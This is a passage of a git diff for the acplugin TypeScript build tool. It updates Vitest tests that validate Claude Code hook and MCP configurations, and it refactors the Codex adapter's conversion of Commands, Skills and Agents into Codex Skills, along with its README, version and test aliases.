'{"hooks":{"SessionStart":[{"hooks":[{"type":"command"}]}]}}\n', + })], + commit: false, }); - /** 最终候选应在提交前同时暴露 matcher 与 command 内容错误。 */ - const result = await run(resolvedConfig(root, 'build', claudeCode(), [extension])); - - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(result.diagnostics).toEqual(expect.arrayContaining([ - expect.objectContaining({ code: 'CLAUDE_HOOK_MATCHER_INVALID' }), - expect.objectContaining({ code: 'CLAUDE_HOOK_HANDLER_TARGET_INVALID' }), - expect.objectContaining({ code: 'CLAUDE_HOOK_HANDLER_EVENT_UNSUPPORTED' }), - ])); - }); + expect(invalidHook.success).toBe(false); + expect(invalidHook.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CLAUDE_HOOK_HANDLER_TARGET_INVALID', phase: 'platform-validate', + })); - /** Claude Code Hook 官方契约核验日期:2026-08-06。 */ - it('accepts the latest official Claude Code Hook handler schema', async () => { - /** 只由测试 Adapter 注入完整官方 Handler 矩阵的空工程。 */ - const root = await temporaryProject(); - /** 覆盖 command、prompt、agent、http 与 mcp_tool 最新字段的 Extension。 */ - const extension = defineExtension({ - name: 'current-claude-hooks', - apiVersion: '1', - /** discover 返回资源以触发 Adapter。 */ - discover: () => true, - adapters: [{ - extensionApiVersion: '1', - platform: claudeCode().id, - platformApiVersion: '1', - /** apply 贡献由 Platform 最终 Validator 独立验证的官方 Schema。 */ - apply(context) { - context.patchDocument({ document: 'plugin-manifest', path: ['hooks'], value: './hooks/hooks.json' }); - context.emitArtifact(bytesArtifact('hooks/hooks.json', stableJson({ - description: 'Complete current Hook schema.', - hooks: { - PreToolUse: [{ - matcher: 'Bash', - hooks: [ - { - type: 'command', command: 'node', args: ['handler.mjs'], shell: 'bash', - if: 'git rev-parse --is-inside-work-tree', timeout: 5, statusMessage: 'Checking', - once: true, async: true, asyncRewake: true, - }, - { type: 'prompt', prompt: 'Check input', model: 'sonnet', if: 'true', once: true }, - { type: 'agent', prompt: 'Investigate input', model: 'sonnet', if: 'true', once: true }, - { - type: 'http', url: 'http://localhost:7777/hook', headers: { Authorization: 'Bearer token' }, - allowedEnvVars: ['HOOK_TOKEN'], if: 'true', once: true, - }, - { - type: 'mcp_tool', server: 'review-server', tool: 'review', - if: 'true', once: true, - }, - ], - }], - SessionEnd: [{ - hooks: [ - { type: 'http', url: 'http://localhost:7777/session-end' }, - { type: 'mcp_tool', server: 'review-server', tool: 'session-end' }, - ], - }], - SessionStart: [{ - hooks: [{ type: 'mcp_tool', server: 'review-server', tool: 'session-start' }], - }], - }, - }))); - }, - }], + /** mcpRoot 验证容器合法时仍会深入拒绝非法 Server 字段。 */ + const mcpRoot = await temporaryProject(); + /** invalidMcp 的 headers 不是 Claude Code 协议要求的字符串映射。 */ + const invalidMcp = await run({ + root: mcpRoot, + command: 'validate', + extensions: [wireExtension({ + id: 'invalid-mcp', field: 'mcpServers', value: './.mcp.json', path: '.mcp.json', + bytes: '{"mcpServers":{"docs":{"type":"http","url":"https://example.com/mcp","headers":42}}}\n', + })], + commit: false, }); - /** 最新字段均应在最终平台边界通过。 */ - const result = await run(resolvedConfig(root, 'build', claudeCode(), [extension])); - - expect(result.success).toBe(true); - expect(result.diagnostics).toEqual([]); - }); + expect(invalidMcp.success).toBe(false); + expect(invalidMcp.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CLAUDE_MCP_HEADERS_INVALID', phase: 'platform-validate', + })); - it('rejects unknown factory options instead of accepting raw Marketplace fields', () => { - expect(() => claudeCode({ marketplace: { name: 'Bad Name' } })).toThrow('lowercase kebab-case'); - expect(() => claudeCode({ marketplace: { raw: true } } as never)).toThrow('Unknown Claude Code marketplace option'); - expect(() => claudeCode({ compiler: 'custom' } as never)).toThrow('Unknown Claude Code Platform option'); + /** orphanRoot 不修改 Manifest,只投递 Claude 会自动发现的根 `.mcp.json`。 */ + const orphanRoot = await temporaryProject(); + /** 非法 orphan 文件必须经过与显式引用相同的深层 wire 校验。 */ + const orphanMcp = await run({ + root: orphanRoot, + command: 'validate', + extensions: [wireExtension({ + id: 'orphan-mcp', path: '.mcp.json', + bytes: '{"mcpServers":{"docs":{"type":"http","url":"https://user:pass@example.com/mcp","junk":true}}}\n', + })], + commit: false, + }); + expect(orphanMcp.success).toBe(false); + expect(orphanMcp.diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ code: 'CLAUDE_MCP_FIELD_UNKNOWN', phase: 'platform-validate' }), + expect.objectContaining({ code: 'CLAUDE_MCP_URL_INVALID', phase: 'platform-validate' }), + ])); }); - it('rejects permissionMode because packaged Plugin Agents cannot enforce it', async () => { - /** 包含宿主会忽略的 Agent 权限模式字段的工程。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), `--- -description: Review code changes. -platforms: - claude-code: - permissionMode: plan ---- -Review code. -`); - /** Scanner 阶段必须拒绝无法由安装式 Plugin 保真的字段。 */ - const result = await run(resolvedConfig(root, 'validate', claudeCode())); - - expect(result.success).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'CLAUDE_COMPONENT_FIELD_UNKNOWN', - fieldPath: ['platforms', 'claude-code', 'permissionMode'], - })); + it('validates and defensively copies Platform options at the factory boundary', () => { + expect(() => claudeCode({ defaultEnabled: 'yes' as never })).toThrow(/defaultEnabled/u); + expect(() => claudeCode({ marketplace: { name: 'Not-Kebab' } })).toThrow(/lowercase kebab-case/u); + /** input 在工厂返回后继续可变,最终 Platform options 必须保持原快照。 */ + const input = { marketplace: { tags: ['tools'] } }; + /** platform 必须复制 input 而不是保留作者对象 identity。 */ + const platform = claudeCode(input); + input.marketplace.tags.push('mutated'); + expect(platform.options).toEqual({ marketplace: { tags: ['tools'] } }); + expect(Object.isFrozen((platform.options as { marketplace: object }).marketplace)).toBe(true); }); }); diff --git a/packages/platforms/claude-code/vitest.config.ts b/packages/platforms/claude-code/vitest.config.ts index db09e28..7e56341 100644 --- a/packages/platforms/claude-code/vitest.config.ts +++ b/packages/platforms/claude-code/vitest.config.ts @@ -4,9 +4,19 @@ import { defineConfig } from 'vitest/config'; /** Claude Code 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ export default defineConfig({ resolve: { - alias: { - '@acplugin/core': fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), - '@tokenroll/acplugin': fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), - }, + alias: [ + { + find: /^@tokenroll\/acplugin\/sdk$/, + replacement: fileURLToPath(new URL('../../acplugin/src/sdk.ts', import.meta.url)), + }, + { + find: /^@tokenroll\/acplugin$/, + replacement: fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), + }, + { + find: /^@acplugin\/core$/, + replacement: fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + }, + ], }, }); diff --git a/packages/platforms/codex/README.md b/packages/platforms/codex/README.md index a89091e..518d5e9 100644 --- a/packages/platforms/codex/README.md +++ b/packages/platforms/codex/README.md @@ -18,22 +18,10 @@ export default defineConfig({ }); ``` -Commands become explicit Codex Skills named `command-` by default. If a -consumer needs the Plugin name to remain visible in each generated Command -Skill ID, opt in without changing the canonical Command: - -```ts -codex({ - generatedSkillIds: { - command: 'plugin-prefixed', - }, -}) -``` - -For Plugin `my-plugin`, Command `bootstrap` then becomes -`skills/my-plugin-bootstrap/SKILL.md`. The default remains -`skills/command-bootstrap/SKILL.md`; templates and per-Command overrides are -not supported. +Commands become explicit Codex Skills named `-`. +For Plugin `my-plugin`, Command `bootstrap` is delivered at +`skills/my-plugin-bootstrap/SKILL.md`. Arbitrary templates and per-Command +overrides are intentionally not supported. The package also exports the named `codex` factory, its option types, `PLATFORM_ID`, and `PLATFORM_API_VERSION`. diff --git a/packages/platforms/codex/package.json b/packages/platforms/codex/package.json index e2ebf43..5fbce45 100644 --- a/packages/platforms/codex/package.json +++ b/packages/platforms/codex/package.json @@ -1,7 +1,7 @@ { "name": "@tokenroll/acplugin-platform-codex", - "version": "0.0.2-beta", - "description": "Codex Platform adapter for acplugin.", + "version": "0.0.3-beta", + "description": "Codex Platform integration for acplugin.", "type": "module", "license": "MIT", "homepage": "https://github.com/TokenRollAI/acplugin#codex-platform", diff --git a/packages/platforms/codex/src/components.ts b/packages/platforms/codex/src/components.ts index 19e931b..c276a47 100644 --- a/packages/platforms/codex/src/components.ts +++ b/packages/platforms/codex/src/components.ts @@ -1,16 +1,17 @@ import { - bytesArtifact, markdownWithFrontmatter, stableYaml, - type ArtifactInput, - type Component, + type AgentComponent, + type AssetService, + type CanonicalProject, + type CommandComponent, + type CompatibilityInput, + type DiagnosticService, + type PackageAssetInput, type PlatformComponentValidationContext, - type PlatformGenerateContext, - type PlatformPrepareContext, - type PluginProject, -} from '@tokenroll/acplugin'; + type SkillComponent, +} from '@tokenroll/acplugin/sdk'; import { CODEX_BRAND_COLOR_PATTERN, CODEX_SKILL_PRODUCTS } from './protocol.js'; -import type { CodexCommandGeneratedSkillIdStrategy } from './types.js'; /** Codex Skill `agents/openai.yaml` 允许配置的 Component 专属字段。 */ const COMPONENT_FIELDS = new Set([ @@ -20,6 +21,9 @@ const COMPONENT_FIELDS = new Set([ /** Codex Skill 元数据允许声明的产品范围。 */ const PRODUCTS = new Set(CODEX_SKILL_PRODUCTS); +/** 三类 canonical Component 的联合视图。 */ +type Component = CommandComponent | SkillComponent | AgentComponent; + /** 把未知 JSON 字段收窄为便于逐项验证的对象。 */ type UnknownFields = Readonly>; @@ -45,203 +49,127 @@ interface OpenAiSkillMetadata { }; } -/** - * 判断未知值是否为非空字符串。 - * - * @param value 待检查的平台字段。 - * @returns 可以写入 Codex 元数据时返回 true。 - */ +/** Codex base Package 的 Component 转换结果。 */ +export interface CodexComponentPackage { + readonly assets: readonly PackageAssetInput[]; + readonly compatibility: readonly CompatibilityInput[]; +} + +/** @returns 值是否为非空字符串。 */ function isNonEmptyString(value: unknown): value is string { return typeof value === 'string' && value.trim().length > 0; } -/** - * 判断未知值是否为不含重复项的非空字符串数组。 - * - * @param value 待检查的平台字段。 - * @returns 字段满足确定性数组约束时返回 true。 - */ +/** @returns 值是否为不含重复项的非空字符串数组。 */ function isUniqueStringArray(value: unknown): value is readonly string[] { - return Array.isArray(value) - && value.every(isNonEmptyString) - && new Set(value).size === value.length; + return Array.isArray(value) && value.every(isNonEmptyString) && new Set(value).size === value.length; } -/** - * 判断 Skill 内部资源路径是否安全。 - * - * @param value `agents/openai.yaml` 中相对于 Skill 根的资源路径。 - * @returns 路径以 `./` 开头且不会逃逸 Skill 根时返回 true。 - */ +/** @returns Skill 内部资源路径是否安全。 */ function isSafeSkillPath(value: string): boolean { if (!value.startsWith('./') || value.includes('\\') || value.includes('\0')) return false; - /** 去掉协议前缀后用于拒绝父目录和空路径的片段。 */ + /** relative 是去掉协议前缀后用于拒绝父目录和空路径的片段。 */ const relative = value.slice(2); - return relative.length > 0 - && relative !== '..' - && !relative.startsWith('../') - && !relative.split('/').includes('..'); + return relative.length > 0 && relative !== '..' && !relative.startsWith('../') && !relative.split('/').includes('..'); } -/** - * 提交带 Codex Component 字段位置的结构错误。 - * - * @param context Core 提供的平台字段校验上下文。 - * @param field 当前错误字段。 - * @param message 面向插件作者的说明。 - */ -function reportFieldError( - context: PlatformComponentValidationContext, - field: string, - message: string, -): void { - context.reportDiagnostic({ - code: 'CODEX_COMPONENT_FIELD_INVALID', - severity: 'error', - message, +/** 提交带 canonical Frontmatter 路径的 Codex 字段错误。 */ +function fieldError(context: PlatformComponentValidationContext, field: string, message: string): void { + context.diagnostics.report({ + code: 'CODEX_COMPONENT_FIELD_INVALID', severity: 'error', message, fieldPath: ['platforms', 'codex', field], }); } -/** - * 校验 Codex Component 专属 Skill 展示字段。 - * - * @param context Scanner 提供的只读 Component 与字段上下文。 - */ -export function validateCodexComponentFields(context: PlatformComponentValidationContext): void { - for (const field of Object.keys(context.fields)) { +/** 校验 Component 的 Codex Skill 展示字段,不允许 raw schema 逃逸。 */ +export function validateCodexComponent(context: PlatformComponentValidationContext): void { + /** fields 是 Scanner 已复制冻结的 Codex namespace。 */ + const fields: UnknownFields = context.component.platforms.codex ?? {}; + for (const field of Object.keys(fields)) { if (!COMPONENT_FIELDS.has(field)) { - context.reportDiagnostic({ - code: 'CODEX_COMPONENT_FIELD_UNKNOWN', - severity: 'error', + context.diagnostics.report({ + code: 'CODEX_COMPONENT_FIELD_UNKNOWN', severity: 'error', message: `Unknown Codex ${context.component.kind} field "${field}".`, fieldPath: ['platforms', 'codex', field], }); } } - - /** fields 提供按字段名执行官方 Schema 校验的只读视图。 */ - const fields: UnknownFields = context.fields; for (const field of ['displayName', 'shortDescription', 'defaultPrompt']) { if (fields[field] !== undefined && !isNonEmptyString(fields[field])) - reportFieldError(context, field, `${field} must be a non-empty string.`); + fieldError(context, field, `${field} must be a non-empty string.`); } for (const field of ['iconSmall', 'iconLarge']) { - if (fields[field] !== undefined - && (!isNonEmptyString(fields[field]) || !isSafeSkillPath(fields[field]))) { - reportFieldError(context, field, `${field} must start with ./ and stay inside the generated Skill root.`); - } + if (fields[field] !== undefined && (!isNonEmptyString(fields[field]) || !isSafeSkillPath(fields[field]))) + fieldError(context, field, `${field} must start with ./ and stay inside the generated Skill root.`); } if (fields.brandColor !== undefined && (!isNonEmptyString(fields.brandColor) || !CODEX_BRAND_COLOR_PATTERN.test(fields.brandColor))) { - reportFieldError(context, 'brandColor', 'brandColor must be a six-digit hexadecimal color.'); + fieldError(context, 'brandColor', 'brandColor must be a six-digit hexadecimal color.'); } if (fields.products !== undefined && (!isUniqueStringArray(fields.products) || fields.products.some(product => !PRODUCTS.has(product)))) { - reportFieldError(context, 'products', 'products must contain CHAT, CODEX, or both without duplicates.'); + fieldError(context, 'products', 'products must contain CHAT, CODEX, or both without duplicates.'); } } -/** - * 读取一个 Component 中已由 Scanner 校验的 Codex 专属字段。 - * - * @param component 当前准备转换的规范 Component。 - * @returns 缺省为空对象的平台字段视图。 - */ +/** @returns 当前 Component 已验证的 Codex namespace。 */ function codexFields(component: Component): UnknownFields { return component.platforms.codex ?? {}; } -/** - * 把 canonical Command ID 转换为唯一的最终 Codex Skill ID。 - * - * @param project 提供已校验 Plugin name 的规范工程。 - * @param strategy Platform 工厂已验证并按值捕获的可选策略。 - * @param commandId 已由 Scanner 校验的 canonical Command ID。 - * @returns 默认带 Command 类型前缀,或显式选择 Plugin 前缀的最终 ID。 - */ -function commandSkillId( - project: PluginProject, - strategy: CodexCommandGeneratedSkillIdStrategy | undefined, - commandId: string, -): string { - return strategy === 'plugin-prefixed' - ? `${project.metadata.name}-${commandId}` - : `command-${commandId}`; +/** @returns canonical Command 的默认 plugin-prefixed Codex Skill ID。 */ +export function commandSkillId(project: CanonicalProject, commandId: string): string { + return `${project.metadata.name}-${commandId}`; } -/** - * 列出全部规范 Component 最终占用的 Codex Skill ID。 - * - * @param project 已完成规范扫描的 Plugin 工程。 - * @param commandStrategy Platform 工厂已验证并按值捕获的 Command 策略。 - * @returns 保持 Component 类型与扫描顺序的生成身份。 - */ -function generatedSkillIdentities( - project: PluginProject, - commandStrategy: CodexCommandGeneratedSkillIdStrategy | undefined, -): GeneratedSkillIdentity[] { - return [ - ...project.skills.map(skill => ({ id: skill.id, subject: `skill:${skill.id}` })), - ...project.commands.map(command => ({ id: commandSkillId(project, commandStrategy, command.id), subject: `command:${command.id}` })), - ...project.agents.map(agent => ({ id: `agent-${agent.id}`, subject: `agent:${agent.id}` })), - ]; +/** @returns 全部 canonical Component 最终占用的 Codex Skill identity。 */ +function generatedSkillIdentities(project: CanonicalProject): readonly GeneratedSkillIdentity[] { + return Object.freeze([ + ...project.skills.map(skill => Object.freeze({ id: skill.id, subject: `skill:${skill.id}` })), + ...project.commands.map(command => Object.freeze({ + id: commandSkillId(project, command.id), subject: `command:${command.id}`, + })), + ...project.agents.map(agent => Object.freeze({ id: `agent-${agent.id}`, subject: `agent:${agent.id}` })), + ]); } -/** - * 在 prepare 阶段拒绝规范 ID 与 fallback ID 的大小写不敏感冲突。 - * - * @param context Codex Platform prepare 上下文。 - * @param commandStrategy Platform 工厂已验证并按值捕获的 Command 策略。 - */ -export function validateGeneratedSkillIds( - context: PlatformPrepareContext, - commandStrategy: CodexCommandGeneratedSkillIdStrategy | undefined, -): void { - /** 已经占用最终 ID 的首个规范 Component。 */ +/** 在任何 Asset 签发前拒绝 generated Skill ID 的 exact/case/NFC 冲突。 */ +export function validateGeneratedSkillIds(project: CanonicalProject, diagnostics: DiagnosticService): boolean { + /** owners 使用最严格目标文件系统的 NFC/case-fold key。 */ const owners = new Map(); - for (const identity of generatedSkillIdentities(context.project, commandStrategy)) { - /** Codex 安装表面应采用大小写不敏感的稳定冲突规则。 */ - const key = identity.id.toLocaleLowerCase('en-US'); - /** 已经占用同一最终 ID 的来源。 */ + /** valid 允许调用方在任何 bytes Asset 生成前中止转换。 */ + let valid = true; + for (const identity of generatedSkillIdentities(project)) { + /** key 不依赖 locale,canonical ID 本身只允许 ASCII lowercase kebab-case。 */ + const key = identity.id.normalize('NFC').toLowerCase(); + /** owner 是先占用相同最终 ID 的规范来源。 */ const owner = owners.get(key); if (owner !== undefined) { - context.reportDiagnostic({ - code: 'CODEX_GENERATED_SKILL_ID_COLLISION', - severity: 'error', + valid = false; + diagnostics.report({ + code: 'CODEX_GENERATED_SKILL_ID_COLLISION', severity: 'error', message: `${owner.subject} and ${identity.subject} both generate Codex Skill ID "${identity.id}".`, - hint: 'Rename one canonical Component so every native and fallback Skill ID is unique.', + hint: 'Rename one canonical Component so every native and generated Skill ID is unique.', }); } else { owners.set(key, identity); } } + return valid; } -/** - * 创建符合当前官方 Schema 的 Skill 展示与调用策略元数据。 - * - * `agents/openai.yaml` 一旦存在就必须同时提供 `interface.display_name` 和 - * `interface.short_description`,因此策略文件不能只写 `policy`。 - * - * @param component 提供默认名称、说明和 Codex 专属字段的规范 Component。 - * @param generatedId 最终生成的 Codex Skill ID。 - * @param allowImplicitInvocation 是否允许模型根据描述隐式触发。 - * @returns 无需元数据时返回 undefined,否则返回完整官方结构。 - */ +/** @returns 当前 Component 的完整 Codex Skill interface/policy,或无需生成时返回 undefined。 */ function skillMetadata( component: Component, generatedId: string, allowImplicitInvocation: boolean, ): OpenAiSkillMetadata | undefined { - /** 当前 Component 已通过 Scanner 校验的平台字段。 */ + /** fields 已经通过 validateComponent 检查。 */ const fields = codexFields(component); - /** 作者是否显式声明了任一 Codex Skill 展示或策略字段。 */ - const hasFields = Object.keys(fields).length > 0; - if (allowImplicitInvocation && !hasFields) + if (allowImplicitInvocation && Object.keys(fields).length === 0) return undefined; - /** 只有显式 products 或禁用隐式调用时才需要 policy 区域。 */ + /** policy 仅在产品范围或隐式调用限制实际存在时生成。 */ const policy = fields.products !== undefined || !allowImplicitInvocation ? { ...(fields.products === undefined ? {} : { products: fields.products as readonly ('CHAT' | 'CODEX')[] }), @@ -261,113 +189,94 @@ function skillMetadata( }; } -/** - * 把可选 Skill 元数据添加到当前 Artifact 列表。 - * - * @param artifacts 当前 Platform 生成中的 Artifact 集合。 - * @param component 元数据来源 Component。 - * @param generatedId 最终 Skill ID。 - * @param allowImplicitInvocation 是否允许隐式调用。 - */ -function appendSkillMetadata( - artifacts: ArtifactInput[], +/** 如有需要,为一个 Skill 创建相邻 `agents/openai.yaml` Asset。 */ +async function appendSkillMetadata( + output: PackageAssetInput[], + assets: AssetService, component: Component, generatedId: string, allowImplicitInvocation: boolean, -): void { - /** 按官方必填 interface 规则创建的可选元数据。 */ +): Promise { + /** metadata 遵守 Codex interface 必填字段和 invocation policy。 */ const metadata = skillMetadata(component, generatedId, allowImplicitInvocation); - if (metadata !== undefined) { - artifacts.push(bytesArtifact( - `skills/${generatedId}/agents/openai.yaml`, - `${stableYaml(metadata)}\n`, - )); - } + if (metadata === undefined) + return; + /** asset 由当前 Platform owner 签发并携带精确 Component provenance。 */ + const asset = await assets.fromBytes({ + bytes: `${stableYaml(metadata)}\n`, + origin: { operation: 'skill-metadata', subjects: [`${component.kind}:${component.id}`] }, + }); + output.push(Object.freeze({ path: `skills/${generatedId}/agents/openai.yaml`, asset })); } -/** - * 把规范 Commands、Skills 与 Agents 转换为 Codex Skills。 - * - * @param context Platform generateBundle 生命周期上下文。 - * @param commandStrategy Platform 工厂已验证并按值捕获的 Command 策略。 - * @returns 确定排序且尚未进入 DeliveryUnit Registry 的 Artifact 输入。 - */ -export function generateComponentArtifacts( - context: PlatformGenerateContext, - commandStrategy: CodexCommandGeneratedSkillIdStrategy | undefined, -): ArtifactInput[] { - /** 当前 Platform 累计生成的 Component Artifact。 */ - const artifacts: ArtifactInput[] = []; - - for (const skill of context.project.skills) { - artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ - name: skill.id, - description: skill.description, - }, skill.body))); - appendSkillMetadata(artifacts, skill, skill.id, skill.invocation.model); - for (const auxiliary of skill.auxiliaryFiles) { - artifacts.push({ - path: `skills/${skill.id}/${auxiliary.path}`, - source: { type: 'file', path: auxiliary.sourcePath }, - mode: auxiliary.mode, - }); - } - context.reportCompatibility({ - subject: `skill:${skill.id}`, - capability: 'component', - level: 'native', - reason: 'Codex supports plugin Skills natively.', +/** 把 Commands、Skills、Agents 转为 Codex Skills 并返回完整兼容性。 */ +export async function createCodexComponents( + project: CanonicalProject, + assets: AssetService, +): Promise { + /** output 保存 Platform-owned bytes 和被 Core 授权的 Skill auxiliary refs。 */ + const output: PackageAssetInput[] = []; + /** compatibility 精确覆盖每个 canonical Component 及实际附加语义。 */ + const compatibility: CompatibilityInput[] = []; + for (const skill of project.skills) { + /** manifest 是原生 Skill 主文档。 */ + const manifest = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ name: skill.id, description: skill.description }, skill.body), + origin: { operation: 'component-skill', subjects: [`skill:${skill.id}`] }, }); + output.push(Object.freeze({ path: `skills/${skill.id}/SKILL.md`, asset: manifest })); + await appendSkillMetadata(output, assets, skill, skill.id, skill.invocation.model); + for (const auxiliary of skill.auxiliaryFiles) + output.push(Object.freeze({ path: `skills/${skill.id}/${auxiliary.path}`, asset: auxiliary.asset })); + compatibility.push(Object.freeze({ + subject: `skill:${skill.id}`, capability: 'component', level: 'native', + reason: 'Codex supports Plugin Skills natively.', + })); if (!skill.invocation.user) { - context.reportCompatibility({ - subject: `skill:${skill.id}`, - capability: 'invocation.user', - level: 'degraded', - transformation: 'The Skill remains explicitly invocable.', + compatibility.push(Object.freeze({ + subject: `skill:${skill.id}`, capability: 'invocation.user', level: 'degraded', + transformation: 'explicit-invocation-remains', reason: 'Codex Skill metadata cannot disable explicit user invocation.', - }); + })); } } - for (const command of context.project.commands) { - /** Command 缺省使用类型前缀,也可显式选择已校验的 Plugin 前缀。 */ - const id = commandSkillId(context.project, commandStrategy, command.id); - artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ - name: id, - description: command.description, - }, command.body.replaceAll('{{arguments}}', 'the arguments supplied with this explicit invocation')))); - appendSkillMetadata(artifacts, command, id, false); - context.reportCompatibility({ - subject: `command:${command.id}`, - capability: 'component', - level: 'transform', - transformation: `Explicit Skill ${id}`, - reason: 'Codex represents Commands as explicitly invoked Skills.', + for (const command of project.commands) { + /** id 默认且始终包含 Plugin name,避免跨 Plugin generated Skill 冲突。 */ + const id = commandSkillId(project, command.id); + /** manifest 将 Command 显式调用语义转换为 Skill 指引。 */ + const manifest = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ name: id, description: command.description }, + command.body.replaceAll('{{arguments}}', 'the arguments supplied with this explicit invocation')), + origin: { operation: 'component-command', subjects: [`command:${command.id}`] }, }); + output.push(Object.freeze({ path: `skills/${id}/SKILL.md`, asset: manifest })); + await appendSkillMetadata(output, assets, command, id, false); + compatibility.push(Object.freeze({ + subject: `command:${command.id}`, capability: 'component', level: 'transform', + transformation: `explicit-skill:${id}`, + reason: 'Codex represents Commands as explicitly invoked Skills.', + })); if (command.body.includes('{{arguments}}')) { - context.reportCompatibility({ - subject: `command:${command.id}`, - capability: 'arguments', - level: 'transform', - transformation: 'The arguments placeholder becomes explicit invocation guidance.', + compatibility.push(Object.freeze({ + subject: `command:${command.id}`, capability: 'arguments', level: 'transform', + transformation: 'explicit-invocation-guidance', reason: 'Codex Skills receive arguments through the invoking prompt rather than a Command placeholder.', - }); + })); } if (command.argumentHint !== undefined) { - context.reportCompatibility({ - subject: `command:${command.id}`, - capability: 'argumentHint', - level: 'degraded', - transformation: `Explicit Skill ${id} without argument hint UI`, + compatibility.push(Object.freeze({ + subject: `command:${command.id}`, capability: 'argument-hint', level: 'degraded', + transformation: 'argument-hint-omitted', reason: 'Codex Skills do not expose the Command argument hint field.', - }); + })); } } - for (const agent of context.project.agents) { - /** Agent 使用固定前缀进入统一 Codex Skill 命名空间。 */ + for (const agent of project.agents) { + /** id 使用固定 Agent 前缀避免与 native Skills 占用同一命名空间。 */ const id = `agent-${agent.id}`; - /** 降级正文明确区分作者意图与平台无法强制的运行约束。 */ + /** guidance 明确保留不可强制执行的模型和 capability 作者意图。 */ const guidance = [ agent.body, '', @@ -375,44 +284,37 @@ export function generateComponentArtifacts( `Intended capabilities: ${agent.capabilities.join(', ') || 'none declared'}.`, 'When delegation is available, use a focused subagent with this role. These settings are guidance, not enforced registration.', ].join('\n'); - artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ - name: id, - description: agent.description, - }, guidance))); - appendSkillMetadata(artifacts, agent, id, true); - context.reportCompatibility({ - subject: `agent:${agent.id}`, - capability: 'component', - level: 'degraded', - transformation: `Guidance-only Skill ${id}`, - reason: 'Codex installable plugins cannot register project or user custom Agents.', - }); - context.reportCompatibility({ - subject: `agent:${agent.id}`, - capability: 'agent.model', - level: 'degraded', - transformation: 'The intended model class is preserved as guidance text.', - reason: 'A fallback Skill cannot enforce an Agent model selection.', + /** manifest 是 guidance-only fallback Skill。 */ + const manifest = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ name: id, description: agent.description }, guidance), + origin: { operation: 'component-agent', subjects: [`agent:${agent.id}`] }, }); + output.push(Object.freeze({ path: `skills/${id}/SKILL.md`, asset: manifest })); + await appendSkillMetadata(output, assets, agent, id, true); + compatibility.push( + Object.freeze({ + subject: `agent:${agent.id}`, capability: 'component', level: 'degraded', + transformation: `guidance-skill:${id}`, + reason: 'Codex installable Plugins cannot register custom Agents.', + }), + Object.freeze({ + subject: `agent:${agent.id}`, capability: 'agent.model', level: 'degraded', + transformation: 'model-guidance', + reason: 'A fallback Skill cannot enforce an Agent model selection.', + }), + ); if (agent.capabilities.length > 0) { - context.reportCompatibility({ - subject: `agent:${agent.id}`, - capability: 'agent.capabilities', - level: 'degraded', - transformation: 'The intended capabilities are preserved as guidance text.', + compatibility.push(Object.freeze({ + subject: `agent:${agent.id}`, capability: 'agent.capabilities', level: 'degraded', + transformation: 'capability-guidance', reason: 'A fallback Skill cannot enforce an Agent tool capability boundary.', - }); + })); } } - return artifacts; + return Object.freeze({ assets: Object.freeze(output), compatibility: Object.freeze(compatibility) }); } -/** - * 判断工程是否至少生成一个 Codex Skill。 - * - * @param project 已完成扫描和依赖图校验的规范工程。 - * @returns 原生或 fallback Skill 目录非空时返回 true。 - */ -export function hasGeneratedSkills(project: PluginProject): boolean { +/** @returns 工程是否至少生成一个 Codex Skill。 */ +export function hasGeneratedSkills(project: CanonicalProject): boolean { return project.skills.length + project.commands.length + project.agents.length > 0; } diff --git a/packages/platforms/codex/src/index.ts b/packages/platforms/codex/src/index.ts index 93c2d57..7e67d1f 100644 --- a/packages/platforms/codex/src/index.ts +++ b/packages/platforms/codex/src/index.ts @@ -2,26 +2,22 @@ import { definePlatform, type AcpluginPlatform, type JsonObject, -} from '@tokenroll/acplugin'; +} from '@tokenroll/acplugin/sdk'; import { - generateComponentArtifacts, - validateCodexComponentFields, + createCodexComponents, + validateCodexComponent, validateGeneratedSkillIds, } from './components.js'; import { - createManifestDocument, - marketplaceArtifacts, - MARKETPLACE_MANIFEST_PATH, - serializeDocuments, + createMarketplaceAssets, + createPluginDocument, validatePlatformOptions, } from './manifest.js'; -import type { CodexMarketplaceOptions, CodexPlatformOptions } from './types.js'; -import { validateCodexBundle } from './validator.js'; +import type { CodexInterfaceOptions, CodexMarketplaceOptions, CodexPlatformOptions } from './types.js'; +import { validateCodexPackage } from './validator.js'; export type { CodexCategory, - CodexCommandGeneratedSkillIdStrategy, - CodexGeneratedSkillIdsOptions, CodexInterfaceOptions, CodexMarketplaceInstallation, CodexMarketplaceOptions, @@ -35,67 +31,60 @@ export const PLATFORM_ID = 'codex' as const; /** Codex Platform 实现的 Core API 版本。 */ export const PLATFORM_API_VERSION = '1' as const; -/** - * 创建独立且可由 Core 品牌校验的 Codex Platform。 - * - * @param options 严格度覆盖、安装界面与 Marketplace 选项。 - * @returns Codex Plugin 交付实现。 - */ +/** 创建只通过 Package API 交付 Codex Plugin 的 Platform。 */ export function codex(options: CodexPlatformOptions = {}): AcpluginPlatform { validatePlatformOptions(options); - /** generateBundle Context 不暴露 options,因此只按值捕获已校验的纯字符串策略。 */ - const commandGeneratedSkillId = options.generatedSkillIds?.command; - /** strict 属于 Core 策略,其余字段作为 Platform 生命周期专属配置保存。 */ + /** strict 由 Core 解释,其余选项复制、深冻后提供给每个 Session。 */ const { strict, ...platformOptions } = options; return definePlatform({ id: PLATFORM_ID, apiVersion: PLATFORM_API_VERSION, deliveryType: 'plugin', + capabilities: { nodeRuntime: { target: 'node20', format: 'esm', root: 'plugin' } }, ...(strict === undefined ? {} : { strict }), options: 